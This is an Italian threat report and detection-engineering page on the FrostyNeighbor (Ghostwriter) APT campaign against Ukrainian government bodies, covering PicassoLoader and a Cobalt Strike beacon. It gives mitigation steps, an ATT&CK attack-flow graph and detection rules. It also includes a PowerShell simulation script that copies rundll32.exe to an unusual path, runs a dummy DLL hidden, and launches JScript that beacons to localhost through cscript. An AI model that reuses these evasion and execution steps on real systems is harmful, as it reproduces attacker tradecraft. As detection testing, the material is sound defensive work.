FrostyNeighbor: Nuove Malizie e Minacce Digitali
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
ESET riferisce che il gruppo APT FrostyNeighbor, noto anche come Ghostwriter, ha ripreso gli attacchi contro le organizzazioni governative ucraine utilizzando PDF di spear-phishing che consegnano un downloader basato su JavaScript noto come PicassoLoader, che alla fine distribuisce un beacon Cobalt Strike. La campagna si basa su una convalida basata sulla geolocalizzazione, persistenza tramite task pianificati e tecniche di dropping multipli di file per ridurre la visibilità ed eludere la rilevazione. La sua infrastruttura è posizionata dietro Cloudflare e utilizza diversi needbinding.icu domini.
Indagine
I ricercatori hanno ricostruito l’intera catena di attacco, a partire dall’esca del PDF dannoso, passando per il dropper JavaScript e il downloader PicassoLoader, e concludendo con la consegna del payload Cobalt Strike. Hanno estratto indicatori tra cui nomi di file, modifiche al registro e URL di comando e controllo, quindi li hanno collegati alle tecniche conosciute di FrostyNeighbor. Il rapporto evidenzia anche lo sfruttamento di CVE-2023-38831 in WinRAR e CVE-2024-42009 in Roundcube.
Mitigazione
Le organizzazioni dovrebbero bloccare i tipi di allegati sospetti, imporre controlli rigorosi sull’esecuzione di macro e script, monitorare i task pianificati creati da binari sconosciuti e limitare il traffico HTTPS in uscita verso domini noti malevoli. Le vulnerabilità citate dovrebbero essere prontamente corrette, e le restrizioni sul minimo privilegio dovrebbero essere applicate all’uso di rundll32.exe uso.
Risposta
Se vengono rilevati indicatori correlati, isolare immediatamente il sistema colpito, raccogliere artefatti forensi e cercare sia il beacon Cobalt Strike che i componenti PicassoLoader. Resettare qualsiasi credenziale esposta e rivedere le voci dei task pianificati e delle chiavi Run per segni di persistenza.
“graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef file fill:#c2f0c2 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes – Actions attack_initial_access[“<b>Azione</b> – <b>T1566.001 Phishing: Allegato di spear-phishing</b><br/>Email PDF dannosa con link a un archivio RAR.”] class attack_initial_access action action_user_execution[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente</b><br/>La vittima apre il PDF che esegue un dropper JavaScript.”] class action_user_execution action %% Nodes – Files file_malicious_pdf[“<b>File</b> – <b>Nome</b>: malicious.pdf<br/>Contiene un dropper JavaScript.”] class file_malicious_pdf file file_rar[“<b>File</b> – <b>Nome</b>: payload.rar<br/>Consegnato tramite link nel PDF.”] class file_rar file file_scheduled_xml[“<b>File</b> – <b>Nome</b>: scheduled_task.xml<br/>XML utilizzato per registrare un task pianificato.”] class file_scheduled_xml file file_reg[“<b>File</b> – <b>Nome</b>: persistence.reg<br/>File di registro che crea una chiave Run.”]” class file_reg file file_lnk[“<b>File</b> – <b>Nome</b>: launcher.lnk<br/>Collegamento posizionato nella cartella di avvio.”]” class file_lnk file %% Nodes – Malware / Tools malware_javascript_dropper[“<b>Malware</b> – <b>Nome</b>: JavaScript Dropper<br/>Esegue script codificati in base64 e incorpora payload di seconda fase.”] class malware_javascript_dropper malware tool_picasso_loader[“<b>Strumento</b> – <b>Nome</b>: PicassoLoader<br/>Raccoglie informazioni di sistema, elenco dei processi e dati di identità della vittima.”] class tool_picasso_loader tool malware_cobalt_strike[“<b>Malware</b> – <b>Nome</b>: Cobalt Strike Beacon<br/>Fornisce capacità di controllo remoto.”]” class malware_cobalt_strike malware %% Nodes – Techniques technique_obfuscation[“<b>Tecnica</b> – <b>T1027 File o Informazioni Offuscati</b><br/>I payload sono codificati in base64 per evitare la rilevazione.”] class technique_obfuscation technique technique_embedded_payload[“<b>Tecnica</b> – <b>T1027.009 Payload Incorporati</b><br/>Il downloader e il beacon sono nascosti all’interno del JavaScript.”] class technique_embedded_payload technique technique_gather_identity[“<b>Tecnica</b> – <b>T1589 Raccolta di Informazioni di Identità della Vittima</b><br/>Raccoglie nome utente, nome del computer, versione del sistema operativo e tempo di avvio.”] class technique_gather_identity technique technique_system_info[“<b>Tecnica</b> – <b>T1082 Scoperta di Informazioni di Sistema</b><br/>Raccoglie specifiche dettagliate del sistema.”] class technique_system_info technique technique_process_discovery[“<b>Tecnica</b> – <b>T1057 Scoperta dei Processi</b><br/>Enumera i processi in esecuzione sull’host.”] class technique_process_discovery technique technique_c2_https[“<b>Tecnica</b> – <b>T1071.001 Protocollo Applicativo: Protocolli Web</b><br/>Comunica con C2 tramite HTTPS POST.”]” class technique_c2_https technique technique_scheduled_task[“<b>Tecnica</b> – <b>T1053.005 Task/Job Pianificato</b><br/>Crea un XML per task pianificato per la persistenza.”]” class technique_scheduled_task technique technique_run_key[“<b>Tecnica</b> – <b>T1060 Chiavi Run di Registro / Cartella di Avvio</b><br/>Aggiunge una chiave Run che punta a un LNK dannoso.”]” class technique_run_key technique technique_exfiltration[“<b>Tecnica</b> – <b>T1041 Esfiltrazione Attraverso Canale C2</b><br/>Invia dati raccolti attraverso lo stesso canale HTTPS.”]” class technique_exfiltration technique %% Connections – Attack Flow attack_initial_access –>|consegna| file_malicious_pdf file_malicious_pdf –>|aperto_da| action_user_execution action_user_execution –>|esegue| malware_javascript_dropper malware_javascript_dropper –>|utilizza| technique_obfuscation malware_javascript_dropper –>|contiene| technique_embedded_payload technique_embedded_payload –>|rilascia| tool_picasso_loader tool_picasso_loader –>|raccoglie| technique_system_info tool_picasso_loader –>|raccoglie| technique_process_discovery tool_picasso_loader –>|raccoglie| technique_gather_identity tool_picasso_loader –>|contatta| technique_c2_https technique_c2_https –>|consegna| malware_cobalt_strike malware_cobalt_strike –>|stabilisce| technique_scheduled_task technique_scheduled_task –>|crea| file_scheduled_xml malware_cobalt_strike –>|stabilisce| technique_run_key technique_run_key –>|crea| file_reg file_reg –>|aggiunge| file_lnk technique_c2_https –>|esfiltra tramite| technique_exfiltration “
Flusso di Attacco
Rilevamenti
Possibili Punti di Persistenza [ASEP – Software/NTUSER Hive] (tramite registry_event)
Visualizza
Esecuzione di Processi di Sistema da Percorsi Insoliti (tramite process_creation)
Visualizza
Esecuzione di Rundll32 DLL da Percorso Sospetto (tramite process_creation)
Visualizza
LOLBAS WScript / CScript (tramite process_creation)
Visualizza
IOC (HashSha1) per rilevare: FrostyNeighbor: Nuove marachelle e buffonate digitali
Visualizza
Rilevamento Comunicazione C&C FrostyNeighbor [Connessione Rete Windows]
Visualizza
Distribuzione Cobalt Strike FrostyNeighbor tramite Rundll32 e JavaScript [Creazione Processo Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento.
-
Narrazione e Comandi dell’Attacco:
L’avversario ha ottenuto un punto d’appoggio sull’host della vittima e desidera distribuire un beacon Cobalt Strike senza essere rilevato. Essi:
- Copia
rundll32.exein una posizione non standard (C:ProgramDataTemprundll32.exe) per eludere gli allarmi della whitelist semplice. - Deposita la DLL dannosa (
ViberPC.dll) in%ProgramData%. Questa DLL contiene il payload Cobalt Strike bootstrappato. - Esegue la copia
rundll32.execon una riga di comando che carica la DLL dannosa (%ProgramData%ViberPC.dll). - Deposita due file JavaScript (
53_7.03.2026_R.jsandUpdate.js) che contengono JScript che contatta il server C2 e finalizza l’installazione del beacon. - Esegue i file JavaScript usando
cscript.exe, causando la creazione di processi di cuiImmaginetermina con.jse di cuiCommandLinecontiene esattamente i nomi dei file.
Questi passaggi generano gli eventi di creazione dei processi di Sysmon esatti corrispondenti a
selezione1,selezione2eselezione3nella regola Sigma. - Copia
-
Script Test di Regressione:
# Simulazione Distribuzione Cobalt Strike FrostyNeighbor # ------------------------------------------------- # 1. Prepara i percorsi $tempDir = "$env:ProgramDataTemp" $rundllCopy = Join-Path $tempDir "rundll32.exe" $malDll = "$env:ProgramDataViberPC.dll" $js1 = "$env:ProgramData53_7.03.2026_R.js" $js2 = "$env:ProgramDataUpdate.js" # 2. Assicurati che la directory temp esista New-Item -Path $tempDir -ItemType Directory -Force | Out-Null # 3. Copia rundll32.exe in una posizione non standard Copy-Item -Path "$env:SystemRootSystem32rundll32.exe" -Destination $rundllCopy -Force # 4. Crea una DLL dannosa fittizia (nel vero attacco questo sarebbe il payload) $dummyDll = [IO.File]::ReadAllBytes("$env:SystemRootSystem32driversetchosts") # binario sostitutivo [IO.File]::WriteAllBytes($malDll, $dummyDll) # 5. Esegui la rundll32 copiata con la DLL dannosa Start-Process -FilePath $rundllCopy -ArgumentList "`"$malDll`"" -WindowStyle Hidden # 6. Deposita i payload JavaScript $jsContent = @" // JScript semplice che si connette a un endpoint C2 (simulato) var xhr = new ActiveXObject("MSXML2.XMLHTTP"); xhr.open("GET", "http://127.0.0.1:8080/beacon", false); xhr.send(); "@ Set-Content -Path $js1 -Value $jsContent -Encoding ASCII Set-Content -Path $js2 -Value $jsContent -Encoding ASCII # 7. Esegui i file JavaScript tramite cscript (questo crea processi con immagine .js) Start-Process -FilePath "cscript.exe" -ArgumentList "//NoLogo `"$js1`"" -WindowStyle Hidden Start-Process -FilePath "cscript.exe" -ArgumentList "//NoLogo `"$js2`"" -WindowStyle Hidden # 8. Pausa per permettere l'ingestione del SIEM Start-Sleep -Seconds 15 -
Comandi di Pulizia:
# Pulizia dopo la simulazione $percorsi = @( "$env:ProgramDataViberPC.dll", "$env:ProgramData53_7.03.2026_R.js", "$env:ProgramDataUpdate.js", "$env:ProgramDataTemprundll32.exe" ) foreach ($p in $percorsi) { if (Test-Path $p) { Remove-Item -Path $p -Force } } # Interrompi eventualmente i processi cscript rimanenti avviati dal test Get-Process -Name cscript -ErrorAction SilentlyContinue | Stop-Process -Force